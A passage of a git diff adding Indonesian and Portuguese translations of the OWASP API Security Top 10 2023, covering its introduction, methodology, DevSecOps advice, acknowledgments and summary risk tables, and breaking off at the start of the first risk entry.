https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ \ No newline at end of file diff --git a/editions/2023/id/0xb1-next-devsecops.md b/editions/2023/id/0xb1-next-devsecops.md new file mode 100644 index 000000000..3e0c1a95a --- /dev/null +++ b/editions/2023/id/0xb1-next-devsecops.md @@ -0,0 +1,23 @@ +# Apa Selanjutnya untuk DevSecOps + +Karena pentingnya mereka dalam arsitektur aplikasi modern, membangun API yang aman adalah suatu keharusan. Keamanan tidak boleh diabaikan, dan itu harus menjadi bagian dari seluruh siklus pengembangan. Pemindaian dan pengujian penetrasi setahun sekali tidak lagi cukup. + +DevSecOps harus bergabung dengan upaya pengembangan, memfasilitasi pengujian keamanan berkelanjutan di seluruh siklus pengembangan perangkat lunak. Tujuan Anda harus meningkatkan jalur pengembangan dengan otomatisasi keamanan, tanpa mempengaruhi kecepatan pengembangan. + +Jika ragu, tetap terinformasi, dan lihat [Manifesto DevSecOps][1]. + +| | | +|-|-| +| **Mengerti Model Ancaman** | Prioritas pengujian berasal dari model ancaman. Jika Anda belum memilikinya, pertimbangkan untuk menggunakan [Standar Verifikasi Keamanan Aplikasi OWASP (ASVS)][2], dan [Panduan Pengujian OWASP][3] sebagai masukan. Melibatkan tim pengembangan akan membantu membuat mereka lebih sadar akan keamanan. | +| **Mengerti SDLC** | Bergabunglah dengan tim pengembangan untuk lebih memahami Siklus Hidup Pengembangan Perangkat Lunak. Kontribusi Anda pada pengujian keamanan berkelanjutan harus sesuai dengan orang, proses, dan alat. Semua orang harus setuju dengan proses tersebut, sehingga tidak ada gesekan atau resistensi yang tidak perlu. | +| **Strategi Pengujian** | Karena pekerjaan Anda tidak boleh mempengaruhi kecepatan pengembangan, Anda harus bijak memilih teknik terbaik (sederhana, cepat, paling akurat) untuk memverifikasi persyaratan keamanan. [Kerangka Pengetahuan Keamanan OWASP][4] dan [Standar Verifikasi Keamanan Aplikasi OWASP][2] dapat menjadi sumber terbaik persyaratan keamanan fungsional dan non-fungsional. Terdapat sumber-sumber bagus lainnya untuk [proyek][5] dan [alat][6] yang serupa dengan yang ditawarkan oleh [komunitas DevSecOps][7]. | +| **Mencapai Cakupan dan Akurasi** | Anda adalah jembatan antara tim pengembangan dan tim operasi. Untuk mencapai cakupan, Anda harus fokus tidak hanya pada fungsionalitas, tetapi juga orkestrasi. Bekerja erat dengan tim pengembangan dan operasi sejak awal sehingga Anda dapat mengoptimalkan waktu dan usaha Anda. Anda harus bertujuan untuk mencapai suatu tahap ketika keamanan esensial diverifikasi secara berkelanjutan. | +| **Komunikasikan Temuan dengan Jelas** | Memberikan nilai dengan sedikit atau tanpa gesekan. Sampaikan temuan dengan tepat waktu, dalam alat yang digunakan tim pengembangan (bukan file PDF). Bergabung dengan tim pengembangan untuk mengatasi temuan. Manfaatkan kesempatan ini untuk memberi mereka pendidikan, jelaskan kelemahan dan bagaimana kelemahan bisa disalahgunakan, termasuk skenario serangan untuk membuatnya nyata. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org \ No newline at end of file diff --git a/editions/2023/id/0xd0-about-data.md b/editions/2023/id/0xd0-about-data.md new file mode 100644 index 000000000..dce0a3e94 --- /dev/null +++ b/editions/2023/id/0xd0-about-data.md @@ -0,0 +1,39 @@ +# Metodologi dan Data + +## Ringkasan + +Untuk pembaruan daftar ini, tim Keamanan API OWASP menggunakan metodologi yang sama dengan yang digunakan untuk daftar tahun 2019 yang sukses dan banyak diadopsi, dengan tambahan [Panggilan Data Publik][1] selama 3 bulan. Sayangnya, panggilan data ini tidak menghasilkan data yang memungkinkan analisis statistik yang relevan mengenai masalah keamanan API yang paling umum. + +Namun, dengan industri keamanan API yang lebih matang dan mampu memberikan umpan balik dan wawasan langsung, proses pembaruan terus berlanjut dengan menggunakan metodologi yang sama seperti sebelumnya. + +Sampai di sini, kami percaya bahwa kami telah memiliki dokumen kesadaran yang fokus ke depan untuk tiga atau empat tahun mendatang, yang lebih berfokus pada masalah khusus API modern. Tujuan dari proyek ini bukanlah menggantikan daftar 10 besar lainnya, tetapi sebaliknya untuk menangani risiko keamanan API teratas yang ada dan yang akan datang, yang menurut kami harus diperhatikan oleh industri. + +## Metodologi + +Dalam fase pertama, data yang tersedia secara publik tentang insiden keamanan API dikumpulkan, ditinjau, dan dikategorikan. Data tersebut dikumpulkan dari platform bug bounty dan laporan yang tersedia secara publik. Hanya masalah yang dilaporkan antara 2019 dan 2022 yang dipertimbangkan. Data ini digunakan untuk memberikan gambaran pada tim mengenai ke arah mana daftar 10 besar sebelumnya seharusnya berkembang serta membantu mengatasi bias atas data yang disumbangkan. + +[Panggilan Data Publik][1] berjalan mulai dari 1 September hingga 30 November 2022. Secara paralel, tim proyek mulai mendiskusikan apa yang telah berubah sejak 2019. Diskusi tersebut mencakup dampak dari daftar sebelumnya, umpan balik yang diterima dari komunitas, dan tren baru dalam keamanan API. + +Tim proyek mempromosikan pertemuan dengan spesialis tentang ancaman keamanan API yang relevan untuk mendapatkan wawasan tentang bagaimana korban terpengaruh dan bagaimana ancaman-ancaman tersebut dapat diatasi. + +Upaya ini menghasilkan draf awal tentang apa yang tim percayai sebagai sepuluh risiko keamanan API yang paling kritis. [Metodologi Penilaian Risiko OWASP][2] digunakan untuk melakukan analisis risiko. Peringkat prevalensi diputuskan dari konsensus di antara anggota tim proyek, berdasarkan pengalaman mereka di lapangan. Untuk pertimbangan-pertimbangan tentang masalah ini, silakan lihat bagian [Risiko Keamanan API][3]. + +Draf awal kemudian dibagikan untuk ditinjau oleh praktisi keamanan dengan pengalaman relevan di bidang keamanan API. Komentar mereka ditinjau, didiskusikan, dan jika berlaku, dimasukkan dalam dokumen. Dokumen yang dihasilkan [dipublikasikan sebagai Calon Rilis][4] untuk [diskusi terbuka][5]. Beberapa [kontribusi komunitas][6] dimasukkan ke dalam dokumen final. + +Daftar kontributor tersedia dalam bagian [Ucapan Terimakasih][7]. + +## Risiko Khusus API + +Daftar ini dibangun untuk mengatasi risiko keamanan yang lebih spesifik untuk API. + +Hal ini tidak berarti bahwa risiko keamanan aplikasi generik lainnya tidak ada dalam aplikasi berbasis API. Sebagai contoh, kami tidak memasukkan risiko seperti "Komponen yang Rentan dan Sudah Ketinggalan Zaman" atau "Injection", meskipun Anda mungkin menemukannya dalam aplikasi berbasis API. Risiko-risiko ini bersifat generik, mereka tidak berperilaku berbeda dalam API, dan eksploitasi mereka juga tidak berbeda. + +Tujuan kami adalah meningkatkan kesadaran tentang risiko keamanan yang memerlukan perhatian khusus dalam API. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/id/0xd1-acknowledgments.md b/editions/2023/id/0xd1-acknowledgments.md new file mode 100644 index 000000000..f9ca12f81 --- /dev/null +++ b/editions/2023/id/0xd1-acknowledgments.md @@ -0,0 +1,12 @@ +# Ucapan Terima Kasih + +## Ucapan Terima Kasih kepada Kontributor + +Kami ingin mengucapakn terima kasih kepada kontributor berikut ini yang telah berkontribusi secara terbuka melalui GitHub, atau melalui cara lainnya: + +247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/id/images/cover.jpg b/editions/2023/id/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/id/images/cover.jpg differ diff --git a/editions/2023/id/images/front-cc.png b/editions/2023/id/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/id/images/front-cc.png differ diff --git a/editions/2023/id/images/front-wasp.png b/editions/2023/id/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/id/images/front-wasp.png differ diff --git a/editions/2023/id/images/license.png b/editions/2023/id/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/id/images/license.png differ diff --git a/editions/2023/id/images/owasp-logo.png b/editions/2023/id/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/id/images/owasp-logo.png differ diff --git a/editions/2023/mkdocs.yml b/editions/2023/mkdocs.yml new file mode 100644 index 000000000..c8126cb85 --- /dev/null +++ b/editions/2023/mkdocs.yml @@ -0,0 +1,15 @@ +site_name: editions/2023 +docs_dir: . + +extra: + alternate: + - name: Bahasa (Indonesian) + lang: id + - name: English + lang: en + - name: Français + lang: fr + - name: Persian + lang: fa + - name: Português (Portugal) + lang: pt-pt diff --git a/editions/2023/pt-pt/0x00-header.md b/editions/2023/pt-pt/0x00-header.md new file mode 100644 index 000000000..2b26af67e --- /dev/null +++ b/editions/2023/pt-pt/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Distribuído ao abrigo da licença [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/pt-pt/0x00-notice.md b/editions/2023/pt-pt/0x00-notice.md new file mode 100644 index 000000000..70f915752 --- /dev/null +++ b/editions/2023/pt-pt/0x00-notice.md @@ -0,0 +1,14 @@ +# Nota + +Esta é a versão de texto do OWASP API Security Top 10, usada como fonte para +quaisquer versões oficiais deste documento como por exemplo o website. + +Contribuições para o projeto tais como comentários, correções ou traduções devem +ser feitas aqui. Para mais detalhes sobre [Como Contribuir][1], por favor +consulte a secção [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2023/pt-pt/0x00-toc.md b/editions/2023/pt-pt/0x00-toc.md new file mode 100644 index 000000000..0805d5232 --- /dev/null +++ b/editions/2023/pt-pt/0x00-toc.md @@ -0,0 +1,23 @@ +# Tabela de Conteúdos + +* [Tabela de Conteúdos](0x00-toc.md) +* [Sobre a OWASP](0x01-about-owasp.md) +* [Prefácio](0x02-foreword.md) +* [Introdução](0x03-introduction.md) +* [Notas da Versão](0x04-release-notes.md) +* [Riscos de Segurança em APIs](0x10-api-security-risks.md) +* [OWASP Top 10 API Security Risks – 2023](0x11-t10.md) +* [API1:2023 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2023 Broken Authentication](0xa2-broken-authentication.md) +* [API3:2023 Broken Object Property Level Authorization](0xa3-broken-object-property-level-authorization.md) +* [API4:2023 Unrestricted Resource Consumption](0xa4-unrestricted-resource-consumption.md) +* [API5:2023 Broken Function Level Authorization](0xa5-broken-function-level-authorization.md) +* [API6:2023 Unrestricted Access to Sensitive Business Flows](0xa6-unrestricted-access-to-sensitive-business-flows.md) +* [API7:2023 Server Side Request Forgery](0xa7-server-side-request-forgery.md) +* [API8:2023 Security Misconfiguration](0xa8-security-misconfiguration.md) +* [API9:2023 Improper Inventory Management](0xa9-improper-inventory-management.md) +* [API10:2023 Unsafe Consumption of APIs](0xaa-unsafe-consumption-of-apis.md) +* [O Que Se Segue Para Programadores](0xb0-next-devs.md) +* [O que Se Segue Para DevSecOps](0xb1-next-devsecops.md) +* [Metodologia e Dados](0xd0-about-data.md) +* [Agradecimentos](0xd1-acknowledgments.md) diff --git a/editions/2023/pt-pt/0x01-about-owasp.md b/editions/2023/pt-pt/0x01-about-owasp.md new file mode 100644 index 000000000..a9b862987 --- /dev/null +++ b/editions/2023/pt-pt/0x01-about-owasp.md @@ -0,0 +1,62 @@ +# Sobre a OWASP + +Open Worldwide Application Security Project (OWASP) é uma comunidade aberta que +se dedica a ajudar as organizações a desenvolver, adquirir e manter aplicações e +APIs confiáveis. + +A OWASP disponibiliza de forma livre e aberta: + +* Ferramentas e normas de segurança aplicacional. +* Livros completos sobre testes de segurança aplicacional, desenvolvimento + de código seguro e revisão de código focada em segurança. +* Apresentações e [vídeos][1]. +* [_Cheat Sheets_][2] sobre assuntos diversos. +* Controlos e bibliotecas de segurança _standard_. +* [Comunidades locais espalhadas por todo o mundo][3]. +* Investigação de ponta. +* Múltiplas [conferências em todo o mundo][4]. +* [Listas de discussão][5] ([arquivo][6]). + +Mais informação em: [https://www.owasp.org][7]. + +Todas as ferramentas, documentos, vídeos, apresentações e comunidades locais da +OWASP são livres e abertos a todos os interessados em melhorar a segurança +aplicacional. + +Aconselhamos uma abordagem à segurança aplicacional como sendo um problema de +pessoas, processos e tecnologia, porque as abordagens mais eficazes à segurança +aplicacional necessitam de melhorias em todas estas áreas. + +A OWASP é um novo tipo de organização. A nossa independência em relação a +pressões comerciais permite-nos fornecer informação imparcial, prática e +economicamente adequada sobre a segurança aplicacional. + +A OWASP não está afiliada com nenhuma empresa tecnológica, embora suportemos o +uso informado de tecnologias de segurança comerciais. A OWASP produz muitos +tipos de materiais de uma forma colaborativa, transparente e aberta. + +A fundação OWASP é uma entidade sem fins lucrativos o que assegura o sucesso a +longo prazo do projeto. Quase todas as pessoas associadas à OWASP são +voluntárias, incluindo a direção da OWASP, os líderes das comunidades locais, os +líderes dos projetos e os seus membros. Suportamos investigação inovadora em +segurança através de bolsas e infraestrutura. + +Junte-se a nós! + +## Direitos de Autor e Licença + +![license](images/license.png) + +Copyright © 2003-2023 The OWASP Foundation. Este documento é distribuído de +acordo com a licença [Creative Commons Attribution Share-Alike 4.0 license][8]. +Para qualquer tipo de reutilização ou distribuição, deve deixar claro para +terceiros os termos da licença deste trabalho. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://cheatsheetseries.owasp.org/ +[3]: https://owasp.org/chapters/ +[4]: https://owasp.org/events/ +[5]: https://groups.google.com/a/owasp.org/forum/#!overview +[6]: https://lists.owasp.org/mailman/listinfo +[7]: https://www.owasp.org +[8]: http://creativecommons.org/licenses/by-sa/4.0/ diff --git a/editions/2023/pt-pt/0x02-foreword.md b/editions/2023/pt-pt/0x02-foreword.md new file mode 100644 index 000000000..500ff338f --- /dev/null +++ b/editions/2023/pt-pt/0x02-foreword.md @@ -0,0 +1,47 @@ +# Prefácio + +As APIs - _Application Programming Interface_ têm um papel fundamental na +inovação que observamos nos dias de hoje ao nível das aplicações. Desde a banca, +retalho e transportes à Internet das Coisas (IoT), veículos autónomos e _Smart +Cities_, as APIs são hoje um elemento crítico nas aplicações móveis, _Software +as a Service_ (SaaS) e aplicações web, sejam elas destinadas ao público em +geral, parceiros de negócio ou para uso interno das organizações. + +Por definição as APIs expõem lógica aplicacional e dados sensíveis tais como +informação pessoal (PII - _Personally Identifiable Information_), motivo pelo +qual se têm vindo a tornar um alvo para os atacantes. Se não conseguirmos +garantir a segurança das APIs será impossível continuar a inovar a um ritmo +acelerado. + +Apesar de continuar a fazer sentindo manter uma lista dos 10 principais +problemas de segurança em aplicações web, devido à natureza particular das APIs, +é importante haver também uma tal lista específica para APIs. +A segurança das APIs foca-se nas estratégias e soluções para compreender e +mitigar as vulnerabilidades e risco de segurança associado às APIs. + +Se estiver familiarizado com o projeto [OWASP Top 10][1] com certeza notará as +semelhanças entre os documentos: elas são propositadas para facilitar a leitura +e adoção deste. Se por outro lado for a primeira vez que tem contacto com um +documento da série OWASP Top 10, sugerimos que comece por ler as secções [Riscos +de Segurança em APIs][2] e [Metodologia e Dados][3] antes de aprofundar a lista +dos dez problemas de segurança mais críticos em APIs. + +Pode contribuir para o OWASP API Security Top 10 com perguntas, comentários e +ideias no repositório do projeto no GitHub: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Pode ainda encontrar o OWASP API Security Top 10 em: + +* https://owasp.org/www-project-api-security/ +* https://github.com/OWASP/API-Security + +Gostaríamos de agradecer a todos os que participaram neste projeto, tornando-o +possível com o seu empenho e contribuições. A lista de contribuidores +encontra-se na secção [Agradecimentos][4]. Obrigado! + +[1]: https://owasp.org/www-project-top-ten/ +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0x03-introduction.md b/editions/2023/pt-pt/0x03-introduction.md new file mode 100644 index 000000000..1e2a15929 --- /dev/null +++ b/editions/2023/pt-pt/0x03-introduction.md @@ -0,0 +1,60 @@ +# Introdução + +## Bem-vindo ao OWASP API Security Top 10 - 2023! + +Bem-vindo à segunda edição do OWASP API Security Top 10! + +Este documento de consciencialização foi publicado pela primeira vez em 2019. +Desde então, a indústria de segurança das APIs cresceu e ganhou maturidade. Nós +acreditamos fortemente que este trabalho contribuiu positivamente para tal, +devido a ter sido adotado rapidamente como referência na indústria. + +As APIs desempenham um papel muito importante na arquitetura das aplicações +modernas. Devido à inovação ter um ritmo diferente do que a sensibilização +para a segurança, nós acreditamos que é importante concentrarmo-nos nas +falhas de segurança mais comuns das APIs. + +O objetivo principal do OWASP API Security Top 10 é educar todos aqueles +envolvidos no desenvolvimento e manutenção de APIs, como por exemplo, +programadores, _designers_, arquitetos, gestores ou organizações. Pode saber +mais sobre o projeto API Security visitando a [página do projeto][1]. + +Se não estiver familiarizado com a série OWASP Top 10, nós recomendamos que veja +pelo menos os seguintes projetos Top 10: + +* [OWASP Cloud-Native Application Security Top 10][2] +* [OWASP Desktop App Security Top 10][3] +* [OWASP Docker Top 10][4] +* [OWASP Low-Code/No-Code Top 10][5] +* [OWASP Machine Learning Security Top Ten][6] +* [OWASP Mobile Top 10][7] +* [OWASP TOP 10][8] +* [OWASP Top 10 CI/CD Security Risks][9] +* [OWASP Top 10 Client-Side Security Risks][10] +* [OWASP Top 10 Privacy Risks][11] +* [OWASP Serverless Top 10][12] + +Nenhum destes projetos substitui qualquer outro: se está a trabalhar numa +aplicação móvel alimentada por uma API, então é melhor ler os dois documentos +Top 10 correspondentes. O mesmo é válido se estiver a trabalhar num website ou +numa aplicação desktop alimentados por APIs. + +Na secção [Metodologia e Dados][13] pode ler mais sobre como esta edição foi +criada. Por agora encorajamos todos a contribuírem com perguntas, comentários e +ideias no nosso [repositório no GitHub][14] ou através da [_Mailing list_][15]. + +[1]: https://owasp.org/www-project-api-security/ +[2]: https://owasp.org/www-project-cloud-native-application-security-top-10/ +[3]: https://owasp.org/www-project-desktop-app-security-top-10/ +[4]: https://owasp.org/www-project-docker-top-10/ +[5]: https://owasp.org/www-project-top-10-low-code-no-code-security-risks/ +[6]: https://owasp.org/www-project-machine-learning-security-top-10/ +[7]: https://owasp.org/www-project-mobile-top-10/ +[8]: https://owasp.org/www-project-top-ten/ +[9]: https://owasp.org/www-project-top-10-ci-cd-security-risks/ +[10]: https://owasp.org/www-project-top-10-client-side-security-risks/ +[11]: https://owasp.org/www-project-top-10-privacy-risks/ +[12]: https://owasp.org/www-project-serverless-top-10/ +[13]: ./0xd0-about-data.md +[14]: https://github.com/OWASP/API-Security +[15]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2023/pt-pt/0x04-release-notes.md b/editions/2023/pt-pt/0x04-release-notes.md new file mode 100644 index 000000000..3f3f32672 --- /dev/null +++ b/editions/2023/pt-pt/0x04-release-notes.md @@ -0,0 +1,49 @@ +# Notas da Versão + +Esta é a segunda edição do OWASP API Security Top 10, exatamente quatro anos +após a primeira versão. Muito mudou no panorama das API (a nível de +segurança). O tráfego das API aumentou a um ritmo acelerado, alguns protocolos +de API ganharam muito mais popularidade, surgiram muitos novos vendedores/ +soluções de segurança para API e, claro, os atacantes desenvolveram novas +capacidades e técnicas para comprometer APIs. Já era hora de atualizar a lista +dos dez riscos de segurança de API mais críticos. + +Com uma indústria de segurança de API mais madura, pela primeira vez, houve [um +apelo público para dados][1]. Infelizmente, não foram fornecidos dados, mas +com base na experiência da equipa do projeto, numa análise cuidadosa por +especialistas em segurança de API e no feedback da comunidade sobre a versão +preliminar, construímos esta nova lista. Na [secção Metodologia e Dados][2], +encontrará mais detalhes sobre como esta versão foi elaborada. Para mais +detalhes sobre os riscos de segurança, consulte a [secção Riscos de Segurança +em APIs][3]. + +O OWASP API Security Top 10 2023 é um documento de sensibilização prospetivo +para uma indústria de ritmo acelerado. Não substitui outros TOP 10. Nesta +edição: + +* Combinámos *Excessive Data Exposure* e *Mass Assignment*, focando na causa + comum: falhas na validação de autorização ao nível das propriedades do objeto. +* Damos mais ênfase ao consumo de recursos, em vez de nos concentrarmos na + rapidez com que são esgotados. +* Criámos uma nova categoria "*Unrestricted Access to Sensitive Business Flows*" + para abordar novas ameaças, incluindo a maioria daquelas que podem ser + mitigadas através de *rate limiting*. +* Adicionámos "*Unsafe Consumption of APIs*" para abordar algo que começámos a + observar: os atacantes começaram a procurar serviços integrados de um alvo + para os comprometer, em vez de atingirem diretamente as APIs do seu alvo. Este + é o momento certo para começar a sensibilizar sobre este risco crescente. + +As APIs desempenham um papel cada vez mais importante na arquitetura moderna de +microsserviços, *Single Page Applications* (SPAs), aplicações móveis, Internet +das Coisas (IoT), etc. O OWASP API Security Top 10 é um esforço necessário para +criar sensibilização sobre os problemas de segurança modernos das APIs. + +Esta atualização só foi possível devido ao grande esforço de vários voluntários, +listados na secção de [Agradecimentos][4]. + +Obrigado! + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: ./0xd0-about-data.md +[3]: ./0x10-api-security-risks.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2023/pt-pt/0x10-api-security-risks.md b/editions/2023/pt-pt/0x10-api-security-risks.md new file mode 100644 index 000000000..41ab360a5 --- /dev/null +++ b/editions/2023/pt-pt/0x10-api-security-risks.md @@ -0,0 +1,49 @@ +# Riscos de Segurança em APIs + +Para a análise de risco usámos a [metodologia de avaliação de risco da +OWASP][1]. + +A tabela seguinte resume a terminologia associada à pontuação correspondente ao +nível de risco. + +| Agentes Ameaça | Abuso | Prevalência | Deteção | Impacto Técnico | Impacto Negócio | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Específico da API | Fácil **3** | Predominante **3** | Fácil **3** | Grave **3** | Específico do Negócio | +| Específico da API | Moderado **2** | Comum **2** | Moderado **2** | Moderado **2** | Específico do Negócio | +| Específico da API | Difícil **1** | Incomum **1** | Difícil **1** | Reduzido **1** | Específico do Negócio | + +**Nota**: Esta abordagem não toma em consideração a probabilidade do Agente de +Ameaça. Também não toma em consideração nenhum detalhe técnico associado à sua +API. Qualquer um destes fatores podem ter impacto significativo na probabilidade +de um atacante encontrar e abusar duma falha de segurança particular. Estes +indicadores não tomam em consideração o impacto atual no seu negócio. Terá de +ser a sua organização a decidir qual o nível de risco para a segurança das suas +aplicações e APIs que está disposta a aceitar, baseado na cultura, indústria e +regulação a que está sujeita. O propósito do OWASP API Security Top 10 não é +fazer essa análise por si. Uma vez que esta edição não é baseada em dados, a +prevalência resulta de um consenso entre os membros da equipa. + +## Referências + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### Externas + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://owasp.org/www-project-risk-assessment-framework/ +[2]: https://owasp.org/www-community/Threat_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2023/pt-pt/0x11-t10.md b/editions/2023/pt-pt/0x11-t10.md new file mode 100644 index 000000000..84612e31b --- /dev/null +++ b/editions/2023/pt-pt/0x11-t10.md @@ -0,0 +1,28 @@ +# OWASP Top 10 API Security Risks – 2023 + +| Risk | Description | +| ---- | ----------- | +| [API1:2023 - Broken Object Level Authorization][api1] | As APIs tendem a expor mais _endpoints_ que manipulam identificadores de objetos, tornando as falhas no controlo de acessos mais suscetíveis a ataques. A verificação da autorização para acesso aos objetos deve ser tida em consideração em todas as funções que acedem a dados com base em informação fornecida pelo utilizador.| +| [API2:2023 - Broken Authentication][api2] | Com frequência os mecanismos de autenticação são implementados de forma incorreta, permitindo aos atacantes comprometer os _tokens_ de autenticação ou abusar das falhas na implementação por forma a assumir a identidade de outros utilizadores de forma temporária ou permanente. | +| [API3:2023 - Broken Object Property Level Authorization][api3] | Esta categoria combina [API3:2019 - Excessive Data Exposure][1] e [API6:2019 - Mass Assignment][2], focando na causa principal: a falta de validação de autorização adequada ao nível das propriedades do objeto. Isso leva à exposição ou manipulação de informações por partes não autorizadas. | +| [API4:2023 - Unrestricted Resource Consumption][api4] | Satisfazer pedidos de API requer recursos como largura de banda de rede, CPU, memória e armazenamento. Outros recursos como emails/SMS/chamadas telefónicas ou validação biométrica são disponibilizados por fornecedores de serviços através de integrações de API, sendo pagos por pedido. Ataques bem-sucedidos podem levar a uma negação do serviço (DoS) ou a um aumento dos custos operacionais. | +| [API5:2023 - Broken Function Level Authorization][api5] | Políticas de controlo de acesso complexas com diferentes níveis hierárquicos, grupos e perfis e uma não tão clara separação entre o que são ou não funcionalidades administrativas tendem a conduzir a falhas de autorização. Abusando destas falhas os atacantes podem ganhar acesso a recursos de outros utilizadores e/ou a funcionalidades administrativas. | +| [API6:2023 - Unrestricted Access to Sensitive Business Flows][api6] | As APIs vulneráveis a este risco expõem um fluxo de negócio - como comprar um bilhete ou publicar um comentário - sem compensar por como a funcionalidade poderia prejudicar o negócio se fosse usada de forma excessiva e automatizada. Isto não resulta necessariamente de falhas de implementação. | +| [API7:2023 - Server Side Request Forgery][api7] | As falhas de Server-Side Request Forgery (SSRF) podem ocorrer quando uma API está a obter um recurso remoto sem validar o URI fornecido pelo utilizador. Isto permite que um atacante force a aplicação a enviar um pedido manipulado para um destino inesperado, mesmo quando protegido por um firewall ou uma VPN. | +| [API8:2023 - Security Misconfiguration][api8] | As APIs e os sistemas que as suportam normalmente contêm configurações complexas, destinadas a tornar as APIs mais personalizáveis. Os engenheiros de software e de DevOps podem ignorar essas configurações ou não seguir as melhores práticas de segurança quando se trata de configuração, abrindo a porta para diferentes tipos de ataques. | +| [API9:2023 - Improper Inventory Management][api9] | As APIs tendem a expor mais _endpoints_ do que as aplicações web tradicionais, fazendo com que a documentação se torne ainda mais importante. Um inventário dos _hosts_ e APIs em execução também têm um papel importante na mitigação de falhas tais como versões de APIs descontinuadas e exposição de _endpoints_ para análise de problemas. | +| [API10:2023 - Unsafe Consumption of APIs][api10] | Os programadores tendem a confiar mais nos dados recebidos de APIs de terceiros do que os fornecidos pelo utilizador, e por isso tendem a adotar padrões de segurança mais fracos. Para comprometer APIs, os atacantes visam os serviços de terceiros integrados em vez de tentarem comprometer a API alvo diretamente. | + +[1]: https://owasp.org/API-Security/editions/2019/en/0xa3-excessive-data-exposure/ +[2]: https://owasp.org/API-Security/editions/2019/en/0xa6-mass-assignment/ +[3]: https://owasp.org/API-Security/editions/2019/en/0xa4-lack-of-resources-and-rate-limiting/ +[api1]: 0xa1-broken-object-level-authorization.md +[api2]: 0xa2-broken-authentication.md +[api3]: 0xa3-broken-object-property-level-authorization.md +[api4]: 0xa4-unrestricted-resource-consumption.md +[api5]: 0xa5-broken-function-level-authorization.md +[api6]: 0xa6-unrestricted-access-to-sensitive-business-flows.md +[api7]: 0xa7-server-side-request-forgery.md +[api8]: 0xa8-security-misconfiguration.md +[api9]: 0xa9-improper-inventory-management.md +[api10]: 0xaa-unsafe-consumption-of-apis.md diff --git a/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md b/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..2d12ea930 --- /dev/null +++ b/editions/2023/pt-pt/0xa1-broken-object-level-authorization.md @@ -0,0 +1,114 @@ +# API1:2023 Broken Object Level Authorization + +| Agentes Ameaça/Vetores Ataque | Falha Segurança | Impactos | +| - | - | - | +| Específico da API : Abuso **Fácil** | Prevalência **Predominante** : Deteção **Fácil** | Técnico **Moderado** : Específico do Negócio | +| Os atacantes podem 